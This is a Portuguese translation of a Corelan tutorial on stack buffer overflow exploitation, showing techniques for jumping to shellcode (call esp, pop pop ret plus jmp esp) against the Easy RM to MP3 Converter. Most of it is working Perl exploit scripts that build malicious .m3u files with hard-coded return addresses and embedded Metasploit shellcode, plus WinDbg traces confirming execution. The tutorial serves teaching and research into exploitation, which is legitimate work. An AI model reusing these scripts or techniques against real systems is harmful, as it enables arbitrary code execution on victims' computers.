Stack Buffer Overflow - Jumping to Shellcode - parte 1

Tradução do original: https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/

Essa nova série de artigos, divida em 3 partes, é baseada em uma série prévia, traduzida e adaptada a partir do material criado pelo CorelanTeam. Abaixo seguem os links dos artigos anteriores, e para seguir essa nova série, é necessário que tome conhecimento da série prévia:
http://hackproofing.blogspot.com/2011/04/escrevendo-um-exploit-para-stack.html
http://hackproofing.blogspot.com/2011/05/escrevendo-um-exploit-para-stack.html
http://hackproofing.blogspot.com/2011/06/escrevendo-um-exploit-para-stack.html

Agora vamos à nova série...

Para onde você quer pular (jmp) hoje ?

No tutorial anterior, expliquei sobre como descobrir uma vulnerabilidade e utilizar essa informação para construir um exploit funcional. No exemplo, vimos que ESP apontava quase que diretamente para o início de nosso buffer (precisamos apenas adicionar 4 bytes ao shellcode para fazer ESP apontar diretamente para o shellcode), e poderíamos utilizar um “jmp esp” para fazer o shellcode executar.

O fato de podermos utilizar um “jmp esp” foi um cenário quase perfeito. Nem sempre é tão fácil assim. Nesse tutorial vamos ver outras formas de executar nosso shellcode, e ver quais são as opções existentes caso se depare com buffers muito pequenos.

Há diversos métodos de forçar a execução de um shellcode.

Jump (or call) para um registrador que aponta para o shellcode. Com esta técnica, você basicamente utiliza um registrador que contém o endereço onde o shellcode está localizado e coloca esse endereço no EIP. Você tenta encontrar o opcode de um “jump” ou “call” para o registrador em uma das dll’s que esteja carregada quando a aplicação for executada. Quando criar seu payload, ao invés de sobrescrever o EIP com um endereço na memória, você precisa sobrescrever o EIP com o endereço do “jump para o registrador”. Obviamente que isso só funciona se um dos registradores disponíveis contiver um endereço que aponte para o shellcode. Foi dessa forma que fizemos com que nosso exploit funcionasse no primeiro tutorial, então não vamos entrar nesse assunto daqui por diante.

Pop return: se nenhum dos registradores apontar diretamente para o shellcode, mas você consegue enxergar um endereço na stack que aponta para o shellcode, então poderá carregar esse valor no EIP colocando um apontador para pop ret, ou pop pop ret, ou pop pop pop ret (tudo dependendo do local onde o endereço foi encontrado na stack) na EIP.

Push return: este método é pouco diferente da técnica que chamamos de “call register”. Se você não puder encontrar um opcode “jump register” ou “call register” em lugar algum, pode simplesmente colocar o endereço na stack e então fazer um ret. Então você basicamente tenta encontrar um push , seguido por um ret. Encontre o opcode para esta sequência, encontre um arquivo que performe esta sequência, e sobrescreva o EIP com este endereço.

Jmp [reg + offset]: Se houver um registrador que aponte para o buffer que contém o shellcode, mas não aponta para o início do shellcode, pode-se tentar encontrar uma instrução em uma DLL do S.O. ou de alguma aplicação, que adicionará os bytes necessários ao registrador e então pula para o registrador.

Blind return: no tutorial anterior foi explicado que o ESP aponta para a posição atual na pilha (por padrão). Uma instrução RET irá fazer um “pop” do último valor (4 bytes) da pilha e irá colocar esse endereço na ESP. Então, se você sobrescrever o EIP com o endereço que realiza uma instrução RET, você carregará o valor armazenado no ESP, dentro do EIP. Se você se deparar com uma situação em que o espaço disponível no buffer (após sobrescrever o EIP) seja limitado, mas tiver uma boa quantidade de espaço antes de sobrescrever o EIP, então poderá utilizar “jump code” no buffer menor para pular para o shellcode principal na primeira parte do buffer.

SEH: Toda aplicação possui um manipulador padrão de exceção (default exception handler) que é disponibilizado pelo S.O. Então, mesmo se a aplicação não utilizar por si mesma um manipulador de exceções, você pode tentar sobrescrever o manipulador SEH com seu próprio endereço e fazê-lo pular para seu shellcode. Utilizando o SEH é possível fazer um exploit mais confiável em várias plataformas Windows, mas são necessárias algumas explicações a mais antes que possa começar a abusar do SEH para escrever exploits. A idéia por detrás disso é que se você construir um exploit que não funcione em um determinado S.O., então o payload pode apenas gerar um crash na aplicação (e fazer o triggering de uma exceção). Então se você puder combinar um exploit “normal” com um exploit baseado em seh, então você terá criado um exploit mais confiável. De qualquer forma, o próximo tutorial lidará especificamente com SEH. Apenas lembre que um típico stack buffer overflow, onde sobrescrevemos o EIP, pode ser potencialmente sujeito à técnica de exploits baseados em SEH também, dando-lhe mais estabilidade, um buffer de tamanho maior.

As técnicas explicadas neste tutorial são apenas exmplos. O objetivo do mesmo é explicar que podem haver vários para pular para seu shellcode, e em outros casos pode haver apenas uma forma (e pode requerer uma combinação de técnicas) para fazer com que seu código arbitrário seja executado.

Podem haver muitos outros métodos para afzer um exploit funcionar e de forma confiável, mas se você dominar aqueles listados aqui, e utilizar o senso comum, poderá encontrar uma forma para resolver a maioria dos problemas quando estiver tentando fazer com que um exploit pule para seu shellcode. Mesmo se uma técnica pareça funcionar, mas o shellcode não execute, você pode brincar com encoders de shellcode, move o shellcode uns poucos bits para frente e colocar alguns NOP’s antes do shellcode... há várias coisas que podem ajudar seu exploit funcionar.

Obviamente que é perfeitamente possível que uma vulnerabilidade apenas leve à um crash, e nunca seja explorada.

Vamos dar uma olhada na implementação prática de algumas das técnicas listadas acima.

call [reg]

Se um registro é carregado com um endereço que aponte diretamente para o shellcode, então você pode fazer um call [reg] para pular diretamente para o shellcode. Em outras palavras, se ESP aponta diretamente para o shellcode (então o primeiro byte do ESP é o primeiro byte de seu shellcode), então você pode sobrescrever o EIP com o endereço de “call esp”, e o shellcode será executado. Isso funciona com todos os registradores e é bem popular porque o kernel32.dll contém diversos endereços call [reg].

Exemplo: assumindo que ESP aponta para o shellcode: primeiro, procure por um endereço que contenha o opcode ‘call esp’. Vamos utilizar o findjmp:

findjmp.exe kernel32.dll esp

Findjmp, Eeye, I2S-LaB

Findjmp2, Hat-Squad

Scanning kernel32.dll for code useable with the esp register

0x7C836A08      call esp

0x7C874413      jmp esp

Finished Scanning kernel32.dll for code useable with the esp register

Found 2 usable addresses

Depois, escreva o exploit e sobrescreva o EIP com 0x7C836A08.

A partir do exemplo do Easy RM to MP3, no tutorial anterior, sabemos que podemos apontar ESP no início de nosso shellcode adicionando 4 caracteres entre o local onde EIP foi sobrescrito e ESP. Um exploit padrão pareceria com o que está abaixo:

my $file= "test1.m3u";

my $junk= "A" x 26094;

my $eip = pack('V',0x7C836A08); #sobrescreve EIP com call esp

my $prependesp = "XXXX";  #adiciona 4 bytes e assim o ESP aponta para os bytes iniciais do shellcode

my $shellcode = "\x90" x 25;   #inicia o shellcode com alguns NOPS

# windows/exec - 303 bytes

# http://www.metasploit.com

# Encoder: x86/alpha_upper

# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .

"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .

"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .

"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .

"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .

"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .

"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .

"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .

"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .

"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .

"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .

"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .

"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .

"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .

"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .

"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .

"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .

"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .

"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .

"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .

"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .

"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");

print $FILE $junk.$eip.$prependesp.$shellcode;

close($FILE);

print "Arquivo m3u criado com sucesso \n";

pop ret

Como explicado acima, no exemplo do Easy RM to MP3, fomos capazes de manipular nosso buffer para que ESP apontasse diretamente para nosso shellcode. O que fazer quando não houver registradores que apontem para nosso shellcode?

Bem, nesse caso, um endereço apontando para o shellcode pode existir na stack. Se fizer um dump do esp, verifique os primeiros endereços. Se um desses endereços apontar para seu shellcode (ou um buffer que você controla), então poderá encontrar um pop ret ou pop pop ret (nada a ver com exploits baseados em SEH aqui) para:

• Pegar endereços da stack (e sair dos mesmos)
• Pular para endereços que trariam para você o shellcode.

A técnica de pop ret obviamente é utilizável apenas quando ESP+offset já contém um endereço que aponta para o shellcode... Então faça um dump do esp, veja se um dos primeiros endereços aponta para o shellcode, e coloque uma referência à pop ret (ou pop pop ret ou pop pop pop ret) no EIP. Isso irá retornar algum endereço da stack (um endereço para cada pop) e colocará o próximo endereço no EIP. Se algum deles apontar para o shellcode, então você terá vencido.

Há um segundo uso para o pop ret: o que fazer se você controla o EIP, nenhum registrador aponta para o shellcode, mas seu shellcode pode ser encontrado em ESP+8: Nesse caso, você pode colocar um pop pop ret no EIP, que irá pular para ESP+8. Se você colocar um apontador para jmp esp neste local, então irá pular para o shellcode que está localizado logo após o apontador jmp esp.

Vamos fazer um teste. Sabemos que precisamos de 26094 bytes antes de sobrescrever o EIP, e que precisamos de mais 4 bytes antes de chegarmos no endereço da stack para onde o ESP aponta ( no meu caso, o endereço é 0x000ff730).

Simularemos que em ESP+8, temos um endereço que aponta para o shellcode.

26094 A’s, 4 XXXX’s, um break, 7 NOP’s, um break, e mais NOP’s. Pretendemos que o shellcode comece no segundo break. O objetivo é fazer um jump no primeiro break, direto para o segundo break (que está em ESP+8 bytes = 0x000ff738).

my $file= "test1.m3u";

my $junk= "A" x 26094;

my $eip = "BBBB"; #sobrescreve EIP

my $prependesp = "XXXX";  #adiciona 4 bytes para que o ESP aponte para os bytes iniciais do shellcode

my $shellcode = "\xcc"; #primeiro break

$shellcode = $shellcode . "\x90" x 7;  #adiciona mais 7 bytes

$shellcode = $shellcode . "\xcc"; #segundo break

$shellcode = $shellcode . "\x90" x 500;  #shellcode

open($FILE,">$file");

print $FILE $junk.$eip.$prependesp.$shellcode;

close($FILE);

print "Arquivo m3u criado com sucesso \n";

Vamos olhar a stack...

A aplicação trava por conta do estouro de buffer. Nós sobrescrevemos EIP com “BBBB”. ESP aponta para 000ff730 (que começa com o primeiro break), então 7 NOP’s, e então vemos o segundo break, que está na verdade no início de nosso shellcode (que está no endereço 0x000ff738).

eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fa

eip=42424242 esp=000ff730 ebp=00344200 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

+0x42424231:

42424242 ??              ???

0:000> d esp

000ff730  cc 90 90 90 90 90 90 90-cc 90 90 90 90 90 90 90  ................

000ff740  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff750  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff760  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff770  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff780  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff790  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff7a0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

0:000> d 000ff738

000ff738  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff748  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff758  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff768  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff778  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff788  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff798  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff7a8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

O objetivo é obter o valor de ESP+8 no EIP (e manipular este valor para que pule para o shellcode). Utilizaremos a técnica pop ret + endereço do jmp esp para conseguir isso. Uma instrução POP pegará 4 bytes do topo da stack. Assim o stack pointer apontaria para 000ff734. Executando outra instrução pop tomaríamos mais 4 bytes do topo da stack. ESP então apontaria para 000ff738. Quando uma instrução “ret” é executada, o valor no endereço atual de ESP é colocado no EIP. Assim se o valor de 000ff738 contém o endereço de uma instrução jmp esp, então este é o que EIP também conteria. O buffer após 000ff738 deve conter nosso shellcode. Precisamos encontrar a sequência de instruções pop, pop, ret em algum lugar, e sobrescrever o EIP com o endereço da primeira parte da sequência de instruções, e devemos configurar ESP+8 para o endereço de jmp esp, seguido pelo shellcode.

Em primeiro lugar, precisamos saber o opcode para pop pop ret. Utilizaremos a funcionalidade assemble no windbg para obter os opcodes:

0:000> a

7c90120e pop eax

pop eax

7c90120f pop ebp

pop ebp

7c901210 ret

ret

7c901211 

0:000> u 7c90120e

ntdll!DbgBreakPoint:

7c90120e 58              pop     eax

7c90120f 5d              pop     ebp

7c901210 c3              ret

7c901211 ffcc            dec     esp

7c901213 c3              ret

7c901214 8bff            mov     edi,edi

7c901216 8b442404        mov     eax,dword ptr [esp+4]

7c90121a cc              int     3

Então o opcode de pop pop ret é 0×58,0x5d,0xc3

Obviamente, que você pode optar por outros registradores também. Há alguns outros opcodes de pop disponíveis:

pop register	opcode
pop eax	58
pop ebx	5b
pop ecx	59
pop edx	5a
pop esi	5e
pop ebp	5d

Agora precisamos encontrar esta sequência em uma das dlls disponíveis. No primeiro tutorial falamos sobre dll’s de aplicação versus dll’s de SO. Penso ser recomendado utilizar dll’s de aplicação por aumentarem a chance de construir exploits mais confiáveis em diferentes plataformas e versões do Windows... Mas é necessário ter certeza de que as dll’s utilizam alguns endereços básicos todas as vezes.

As vezes, as dll’s são realocadas, e nesse cenário poderia ser melhor utilizar um DLL de SO (user32.dll ou kernel32.dll, por exemplo).

Abra o Easy RM to MP3 (não abra nenhum arquivo ou qualquer outra coisa) e então anexe o windbg ao processo executado.

Windbg mostrará os módulos carregados, tanto da aplicação quanto os de SO. (olhe para a parte superior da saída do windbg, e encontre a linha que inicia com ModLoad). Haverão algumas dll’s de aplicação:

ModLoad: 00ce0000 00d7f000   C:\Program Files\Easy RM to MP3 Converter\MSRMfilter01.dll

ModLoad: 01a90000 01b01000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll

ModLoad: 00c80000 00c87000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll

ModLoad: 01b10000 01fdd000   C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll

Você pode exibir a imagem base de uma dll rodando o dumpbin.exe (do Visual Studio) com o parâmetro /headers contra a dll. Isso permitirá definir o endereço menor e maior para buscas.

Deve-se evitar a utilização de endereços que contenham null bytes (porque isso pode tornar o exploit ainda mais difícil).

Uma busca no MSRMCcodec00.dll nos dá alguns resultados:

0:014> s 01a90000 l 01b01000 58 5d c3

01ab6a10  58 5d c3 33 c0 5d c3 55-8b ec 51 51 dd 45 08 dc  X].3.].U..QQ.E..

01ab8da3  58 5d c3 8d 4d 08 83 65-08 00 51 6a 00 ff 35 6c  X]..M..e..Qj..5l

01ab9d69  58 5d c3 6a 02 eb f9 6a-04 eb f5 b8 00 02 00 00  X].j...j........

Ok, podemos pular para ESP+8 agora. Neste local precisamos colocar o endereço para jmp esp (pois, como explicado antes, a instrução ret pegará o endereço daquele local e o colocará no EIP. Neste ponto, o endereço ESP apontará para nosso shellcode que está localizado após o endereço de jmp esp... então o que realmente queremos nesse ponto  é um jmp esp).

No primeiro tutorial, aprendemos que 0x01ccf23a refere-se a jmp esp. Então vamos voltar ao nosso script Perl e substituir o “BBBB” (usado para sobrescrever o EIP) por um dos 3 endereços pop, pop, ret, seguido por 8 bytes (NOP) (para simular que nosso shellcode está 8 bytes além do topo da stack), então o endereço de jmp esp, e então o shellcode.

O buffer parecerá assim:

[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]

   26094 A's         EIP           8 bytes offset          JMP ESP

                  (=POPPOPRET)

O fluxo completo do exploit se parecerá com isso:

1 – EIP é sobrescrito com POP POP RET (novamente, este exemplo não tem nada com exploits baseados em SEH. Queremos apenas pegar um valor que está na stack e jogar na EIP). ESP aponta para o início dos 8 bytes offset do shellcode.

2 – POP POP RET é executado. EIP está sobrescrito com 0x01ccf23a (pois esse é o endereço encontrado em ESP+0x8). ESP agora aponta para o shellcode.

3 – Já que EIP está sobrescrito com o endereço de jmp esp, o segundo jump é executado e o shellcode lançado.

                        ----------------------------------

                       |                                 |(1)

                       |                                 |

                       |       ESP aponta aqui (1)       |

                       |       |                         V

[AAAAAAAAAAA...AA][0x01ab6a10][NOPNOPNOPNOPNOPNOPNOPNOP][0x01ccf23a][Shellcode]

   26094 A's         EIP           8 bytes offset          JMP ESP   ^

                  (=POPPOPRET)                                |      | (2)

                                                              |------|

                                                                     ESP agora aponta aqui (2)

Simularemos isso com um break e alguns NOP’s como shellcode, assim podemos ver se nosso jump funciona.

my $file= "test1.m3u";

my $junk= "A" x 26094;

my $eip = pack('V',0x01ab6a10); #pop pop ret de MSRMfilter01.dll

my $jmpesp = pack('V',0x01ccf23a); #jmp esp

my $prependesp = "XXXX";  #adiciona 4 bytes e ESP aponta para o início do shellcode

my $shellcode = "\x90" x 8;  #adicionais mais bytes

$shellcode = $shellcode . $jmpesp;  #endereço para retorno via pop pop ret ( = jmp esp)

$shellcode = $shellcode . "\xcc" . "\x90" x 500;  #shellcode real

open($FILE,">$file");

print $FILE $junk.$eip.$prependesp.$shellcode;

close($FILE);

print "Arquivo m3u criado com sucesso \n";

(d08.384): Break instruction exception - code 80000003 (!!! second chance !!!)

eax=90909090 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=000067fe

eip=000ff73c esp=000ff73c ebp=90909090 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

+0xff72b:

000ff73c cc              int     3

0:000> d esp

000ff73c  cc 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff74c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff75c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff76c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff77c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff78c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff79c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

000ff7ac  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Funciona! Agora vamos substituir os NOP’s após o jmp esp (ESP+8) pelo shellcode real (alguns nops para nos certificarmos + shellcode, codificados com alpha_upper):

my $file= "test1.m3u";

my $junk= "A" x 26094;

my $eip = pack('V',0x01ab6a10); #pop pop ret de MSRMfilter01.dll

my $jmpesp = pack('V',0x01ccf23a); #jmp esp

my $prependesp = "XXXX";  # adiciona 4 bytes e ESP aponta para o início do shellcode

my $shellcode = "\x90" x 8;  # adicionais mais bytes

$shellcode = $shellcode . $jmpesp;  # endereço para retorno via pop pop ret ( = jmp esp)

$shellcode = $shellcode . "\x90" x 50;  #shellcode real

# windows/exec - 303 bytes

# http://www.metasploit.com

# Encoder: x86/alpha_upper

# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .

"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .

"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .

"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .

"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .

"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .

"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .

"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .

"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .

"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .

"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .

"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .

"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .

"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .

"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .

"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .

"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .

"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .

"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .

"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .

"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .

"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");

print $FILE $junk.$eip.$prependesp.$shellcode;

close($FILE);

print "Arquivo m3u criado com sucesso \n";